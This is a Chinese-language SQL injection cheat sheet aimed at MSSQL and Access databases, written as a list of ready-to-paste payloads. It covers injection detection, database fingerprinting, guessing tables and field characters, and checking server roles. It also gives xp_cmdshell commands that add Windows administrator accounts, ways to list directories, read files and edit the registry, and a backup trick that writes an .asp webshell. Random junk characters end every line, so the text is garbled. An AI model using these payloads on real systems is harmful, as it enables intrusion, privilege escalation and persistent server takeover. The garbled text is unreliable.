1.判断是否有注入;and 1=1 ;and 1=2 H
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2.初步判断是否是mssql ;and user>0 0BIy>wy:
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3.注入参数是字符'and [查询条件] and ''=' Q$HG
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' *^f<W6xc
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5.判断数据库系统 x7~r,x(xM
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;and (select count(*) from sysobjects)>0 mssql 7g%E`3)"
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;and (select count(*) from msysobjects)>0 access &K.?p2$X
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 QV{}K
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 4<% *E{`
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 QlJ)F{R8il
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9.(1)猜字段的ascii值(access) x n5l0'2
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 KO]T<R
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(2)猜字段的ascii值(mssql) nHm}zOLc
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 OU8Lldt
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10.测试权限结构(mssql) ,QcF|~n
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- Fxm$9(Y
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- #`o2Z
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ||;hciO
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ,6om\9.E@
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- :.$3vaZ@
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- YhDtUt}?
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;and 1=(select IS_MEMBER('db_owner'));-- sOU1n
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11.添加mssql和系统的帐户 \=6l9Lrj>h
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;exec master.dbo.sp_addlogin username;-- Zg'Q>.:
;exec master.dbo.sp_password null,username,password;-- yt.F\ [1
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ie2WL\tR4
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;exec master.dbo.xp_cmdshell 'net user username password Y*H|?uNF
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- jpO7'ivG
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- MP!d4
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- a=hxJ1O
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12.(1)遍历目录 g7OqX \
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;create table dirs(paths varchar(100), id int) px}|Mu7z~
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;insert dirs exec master.dbo.xp_dirtree 'c:\' ][?G/*k
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;and (select top 1 paths from dirs)>0 Tl2C^j
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) (X?%^^e!
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(2)遍历目录 NiU2@zgl
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- T>R0T{A
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 1T-8K
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 ;#oie<
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 <8d^^0
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 RPE5K:P
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13.mssql中的存储过程 B[Zjfc
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xp_regenumvalues 注册表根键, 子键 ~%SH3$
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 }Rz3<eON
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xp_regread 根键,子键,键值名 kH]yl
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
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xp_regwrite 根键,子键, 值名, 值类型, 值 2\7`/,U6
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 pO ml8SQf
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 z#]Jv!~EPE
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xp_regdeletevalue 根键,子键,值名 X&0 uI*r
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 uWM{JEOl
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 b+f'[;
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14.mssql的backup创建webshell ZE2$I^DY-
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use model jC7&s$>Q"g
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create table cmd(str image);
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insert into cmd(str) values (''); ub;ZtsM,%
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backup database model to disk='c:\l.asp'; $ep.-I>
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15.mssql内置函数 GQ9\'z#+
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;and (select @@version)>0 获得Windows的版本号 ^sVX)%
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa Er+nk`UR_
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;and (select user_name())>0 爆当前系统的连接用户 ?ON-+u
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;and (select db_name())>0 得到当前连接的数据库 Z| V`B `
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16.简洁的webshell U5He?
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use model 2EfF=Fm>
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create table cmd(str image); `~ * @q!
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insert into cmd(str) values (''); av$/Om:
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backup database model to disk='g:\wwwtest\l.asp';